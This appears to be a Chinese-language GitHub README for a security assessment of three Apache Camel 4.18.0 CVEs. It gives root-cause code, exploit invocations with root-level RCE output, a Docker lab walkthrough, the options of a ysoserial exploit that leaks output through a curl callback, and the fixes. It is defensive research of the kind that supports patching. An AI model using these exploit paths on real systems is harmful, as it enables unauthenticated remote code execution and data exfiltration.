dinosn/apache-camel
GitHub: dinosn/apache-camel
针对 Apache Camel 4.18.0 中三个严重漏洞(含 CoAP 头注入与反序列化 RCE)的安全评估项目,提供了完整的漏洞分析、可运行的 PoC 利用代码及 Docker 靶场。
Stars: 0 | Forks: 0
# Apache Camel 4.18.0 — CVE 安全评估
Apache Camel 4.18.0 中存在的三个严重漏洞,均已独立发现并使用有效的概念验证漏洞利用代码进行了验证。
| CVE | 组件 | 类型 | CVSS | 结论 |
|-----|-----------|------|------|---------|
| CVE-2026-33453 | camel-coap | 请求头注入 → RCE | 10.0 严重 | 可利用 |
| CVE-2026-40473 | camel-mina | 不安全的反序列化 → RCE | 9.8 严重 | 可利用 |
| CVE-2026-40858 | camel-infinispan | 不安全的反序列化 | 8.8 高危 | 可利用 |
## CVE-2026-33453: CoAP 请求头注入 → 远程代码执行
**组件:** `camel-coap` — `CamelCoapResource.java:103-109`
**CWE:** CWE-915 (对象属性的不当控制修改)
**修复版本:** Camel 4.18.1 / 4.14.6
### 根本原因
`CamelCoapResource.handleRequest()` 通过没有 `HeaderFilterStrategy` 的 `setHeader()` 方法,直接将 CoAP URI 查询参数映射到 Camel Exchange 请求头中。由于 `CoAPEndpoint` 继承的是 `DefaultEndpoint` 而非 `DefaultHeaderFilterStrategyEndpoint`,任何未经身份验证的客户端都可以注入带有 `Camel*` 前缀的内部请求头。
当路由转发到 `camel-exec` 时,受攻击者控制的 `CamelExecCommandExecutable` 和 `CamelExecCommandArgs` 请求头会覆盖已配置的命令,从而通过单个 UDP 数据包实现预认证 RCE。
```
// CamelCoapResource.java:103-109 — NO HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}
```
### PoC 结果

```
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Response: 2.05
[+] Command output: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Command output: app bin boot dev etc home lib ...
```
## CVE-2026-40473: MINA 不安全反序列化 → 远程代码执行
**组件:** `camel-mina` — `MinaConverter.java:60-63`
**CWE:** CWE-502 (不受信任数据的反序列化)
**修复版本:** Camel 4.18.2 / 4.14.6 / 4.20.0
### 根本原因
`MinaConverter.toObjectInput(IoBuffer)` 创建了一个原生的 `java.io.ObjectInputStream`,并且**没有使用 `ObjectInputFilter`**。当 MINA 端点配置为 `allowDefaultCodec=false` 时,原始 TCP 数据会作为 `IoBuffer` 到达 Camel 的类型转换器,该转换器会调用此方法——将受攻击者控制的网络字节包装在未经过滤的 `ObjectInputStream` 中。
```
// MinaConverter.java:60-63 — NO ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // attacker-controlled bytes, NO FILTER
}
```
**攻击路径:** 该漏洞利用针对的是配置为 `allowDefaultCodec=false` 的 MINA TCP 端点(在 PoC 中为端口 9879)。这会完全绕过 MINA 的编解码器层——`ObjectSerializationCodecFactory` 拥有自己的 `ClassNameMatcher` 白名单,原本可以阻止任意类。在禁用编解码器的情况下,原始字节会直接流向 `MinaConverter.toObjectInput()`,从而创建一个没有类过滤机制的**标准** `ObjectInputStream`。
通过 CommonsCollections6 利用链(借助 ysoserial),可以实现以 root 权限执行任意命令。命令输出通过 curl 回调泄露给攻击者。
### PoC 结果

```
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMED: CVE-2026-40473 RCE — command executed via deserialization
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Command output:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
```
### 逐步复现 CVE-2026-40473
#### 前置条件
- Docker 和 Docker Compose
- Python 3.8+
- Java 17+ (用于 ysoserial)
- [ysoserial](https://github.com/frohoff/ysoserial) — `ysoserial-all.jar` (CommonsCollections6 利用链)
#### 步骤 1:构建并启动存在漏洞的服务器
```
cd poc/
docker compose up -d --build
```
等待容器启动,然后验证:
```
docker logs vuln-camel-mina
```
您应该会看到:

```
[*] Vulnerable MINA server started
[*] Port 9877: transferExchange (Java deser) endpoint
[*] Port 9878: Object serialization codec endpoint
[*] Port 9879: Raw TCP (MinaConverter.toObjectInput) endpoint
[*] Waiting for connections...
```
端口 9879 是目标——它使用 `allowDefaultCodec=false`,这会禁用 MINA 的编解码器过滤器,让原始的 `IoBuffer` 直接到达 Camel 未过滤的 `MinaConverter.toObjectInput()`。
#### 步骤 2:确认反序列化(探测模式)
首先,验证端点是否接受并反序列化任意的 Java 对象且没有 `ObjectInputFilter`:
```
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe
```

```
[*] Probe mode — confirming deserialization (no RCE)
[*] Payload: HashMap (82 bytes, raw — no MINA frame)
[+] Connected to MINA endpoint
[+] Payload sent
[+] Data reached readObject() with no filter rejection
```
探测发送了一个序列化的 `HashMap`。服务器通过 `ObjectInputStream.readObject()` 对其进行反序列化,而没有抛出 `InvalidClassException`——证实了不存在任何类过滤机制。
#### 步骤 3:执行命令(完全 RCE)
在 ysoserial 准备就绪后,利用未过滤的反序列化漏洞执行任意命令:
```
# 执行 'id' — 返回 uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# 读取文件
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# 系统信息
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
```
该漏洞利用程序会生成一个 CommonsCollections6 利用链,将其作为原始字节发送到端口 9879,并通过 curl 回调监听器捕获命令输出。
#### 漏洞利用选项
```
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target Target IP/hostname
port MINA TCP port (default: 9879)
command Command to execute (default: id)
--ysoserial Path to ysoserial.jar (auto-detected if not set)
--callback-host Host the container uses to reach you (default: host.docker.internal)
--gadget ysoserial gadget chain (default: auto — tries CC6, CC5, CC1)
--probe Probe mode only — confirm deserialization without RCE
--raw Send raw payload without MINA 4-byte frame (auto-enabled for port 9879)
```
**注意:** `--callback-host` 默认为 `host.docker.internal` (Docker Desktop)。如果在没有 Docker Desktop 的 Linux 上运行,请使用 `--callback-host 172.17.0.1` 或您的 Docker 桥接 IP。
#### 步骤 4:清理
```
cd poc/
docker compose down
```
## CVE-2026-40858: Infinispan 不安全的反序列化
**组件:** `camel-infinispan` — `DefaultExchangeHolderUtils.java:46-53`
**CWE:** CWE-502 (不受信任数据的反序列化)
**修复版本:** Camel 4.18.2 / 4.14.7 / 4.20.0
### 根本原因
`DefaultExchangeHolderUtils.deserialize(byte[])` 创建了一个没有 `ObjectInputFilter` 的 `ClassLoadingAwareObjectInputStream`。`DefaultExchangeHolderProtoAdapter` 将 Infinispan 缓存字节直接路由到此方法。拥有缓存写入权限(Hot Rod 端口 11222 或 REST API)的攻击者可以注入恶意序列化负载,当聚合存储库获取该键时,该负载将被反序列化。
这与 CVE-2024-22369、CVE-2024-23114 和 CVE-2026-25747 的漏洞模式相同——所有这些都是 Camel 反序列化路径中在没有 `ObjectInputFilter` 的情况下调用 `readObject()` 而未被修复的实例。
```
// DefaultExchangeHolderUtils.java:46-53 — NO ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // attacker-controlled
}
}
```
### 存在漏洞的代码

## 带注释的漏洞代码

## 复现全部三个 CVE
### 前置条件
- Docker 和 Docker Compose
- Python 3.8+
- Java 17+ (用于 ysoserial)
- [ysoserial](https://github.com/frohoff/ysoserial) 用于完整的 RCE 利用链 (CVE-2026-40473)
### 构建并运行
```
cd poc/
docker compose up -d --build
```
此操作会启动:
- `vuln-camel-coap` — UDP 端口 5683 上的 CoAP 端点,带有 camel-exec 路由
- `vuln-camel-mina` — 端口 9877 (transferExchange)、9878 (ObjectSerializationCodecFactory) 和 9879 (原始 TCP — 主要攻击目标) 上的 MINA TCP 端点
- `infinispan` — 端口 11222 上的 Infinispan 服务器
- `vuln-camel-infinispan` — 由 Infinispan 支持的 Camel 聚合存储库
### 运行漏洞利用
```
# CVE-2026-33453: CoAP Header 注入 → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473: MINA 不安全反序列化 → RCE(参见上方详细说明)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858: Infinispan 不安全反序列化
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
```
### 清理
```
cd poc/
docker compose down
```
## 评估过程
本次评估是使用 [RAPTOR](https://github.com/dinosn/raptor) 自主安全研究框架进行的:
1. **研究** — 识别出全部 3 个 CVE,交叉对比修复提交,确定 Apache Camel 4.18.0 为唯一受影响的漏洞版本
2. **源码获取** — 通过 git sparse-checkout 下载了易受攻击的组件 (`camel-coap`、`camel-mina`、`camel-infinispan`)
3. **扫描** (`/scan`) — 对所有 3 个组件进行自动化漏洞发现
4. **理解** (`/understand --map`) — 攻击面映射:入口点、信任边界、汇聚点和未经检查的数据流
5. **验证** (`/validate`) — 完整的 8 阶段可利用性验证管道 (阶段 0 → A → B → C → D → E → F → 1),确认所有 3 项发现均为真实、可达且可被利用的漏洞
6. **利用** (`/exploit`) — 使用基于 Docker 的测试环境开发有效的 PoC
7. **文档化** — 截图、漏洞利用报告以及本 README
## 修复方案
| CVE | 修复版本 | 变更内容 |
|-----|------------|--------|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | `CoAPEndpoint` → 继承 `DefaultHeaderFilterStrategyEndpoint`;`CoAPComponent` → 实现 `HeaderFilterStrategyComponent` |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | 在 `readObject()` 之前添加了 `ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*")` |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | 添加了 `ObjectInputFilter` 白名单(相同模式);如果已配置,则回退到 JVM 序列化过滤器 |
## 免责声明
本研究的目的是为了授权的安全测试和教育用途。所有漏洞利用均针对运行易受攻击软件的本地构建 Docker 容器进行了测试。请升级到上面列出的已修复版本。
标签:0day漏洞, Apache Camel, camel-coap, camel-infinispan, camel-mina, CISA项目, CVE-2026-33453, CVE-2026-40473, CVE-2026-40858, CVE安全评估, GHAS, Header Injection, Java安全, JS文件枚举, RCE, 不安全的反序列化, 中间件安全, 情报收集, 数据展示, 漏洞 PoC, 漏洞研究, 红队, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护